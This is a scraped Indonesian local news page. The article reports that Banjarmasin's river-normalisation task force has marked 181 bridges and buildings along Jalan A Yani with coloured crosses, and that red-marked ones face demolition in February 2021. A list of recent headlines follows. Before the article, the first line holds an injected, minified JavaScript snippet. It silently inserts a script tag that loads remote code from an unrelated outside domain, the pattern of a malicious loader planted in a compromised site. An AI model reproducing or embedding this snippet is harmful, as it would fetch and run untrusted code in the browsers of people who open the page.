(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

181 Titik di A Yani dari Km 2 hingga Km 6 Diberi Tanda, Silang Merah Harus Dibongkar!


KANALKALIMANTAN.COM,BANJARMASIN – Satgas Normalisasi Sungai yang dibentuk Pemko Banjarmasin sudah mulai memberi titik tanda bangunan dan jembatan yang harus dibongkar pemilik.

Sebanyak 181 titik sudah diberikan tanda agar pemilik membongkar sendiri atau Pemko Banjarmasin yang akan menurunkan alat berat untuk pembongkaran.

Walikota Banjarmasin H Ibnu Sina mengatakan, sebanyak 181 titik jembatan dan bangunan itu sudah diberikan tanda silang dengan tiga warna dalam upaya pelaksanaan normalisasi sungai di Kota Banjarmasin.

Dijelaskan Ibnu Sina, definisi tanda silang tersebut terdiri dari warna hijau yang berarti tanda bahwa bangunan tersebut aman, kondisi tinggi air dengan bangunan tidak mempengaruhi aliran sungai.

Lalu tanda berwarna kuning menandakan bahwa bangunan tersebut harus dievaluasi kembali dari pelebaran dan peninggian bangunan.

“Dan tanda silang berwarna merah menandakan bahwa bangunan yang berada di atas sungai tersebut akan segera dibongkar dan diberikan tenggat waktu hingga 13 Februari 2021,” tegas Ibnu Sina.

“Kalau hijau itu aman ketinggian dengan air sungainya. Sedangkan tanda silang merah itu jembatannya terlalu rendah sehingga menutupi arus, itu harus dibongkar,” jelas Wali Kota Banjarmasin, Selasa (9/2/2021).

Ibnu Sina juga menjelaskan bahwa upaya normalisasi sungai di sepanjang Jalan A Yani tersebut merupakan upaya untuk mengembalikan fungsi sungai seperti sedia kala.

“Upaya kita ini untuk mengembalikan fungsi sungai atau kanal sebagai drainase,” jelasnya.
Sementara itu, Ketua Satgas Normalisasi Sungai, Doyo Pudjadi mengatakan bahwa beberapa bangunan yang sudah ditandai akan segera dilakukan pembongkaran pada Rabu (10/2/2021) besok.

“Besok kita sudah mulai akan melakukan pembongkaran Jembatan di Jalan A Yani Km 6,” ujar Doyo.

Pantauan Kanalkalimantan.com tanda silang merah tersebut sudah tersebar sepanjang Jalan A Yani dari Km 2 hingga Km 6 Banjarmasin. (kanalkalimantan.com/putra)

 

Reporter : Putra
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

2 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

5 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

7 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

24 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

1 hari ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

1 hari ago

This website uses cookies.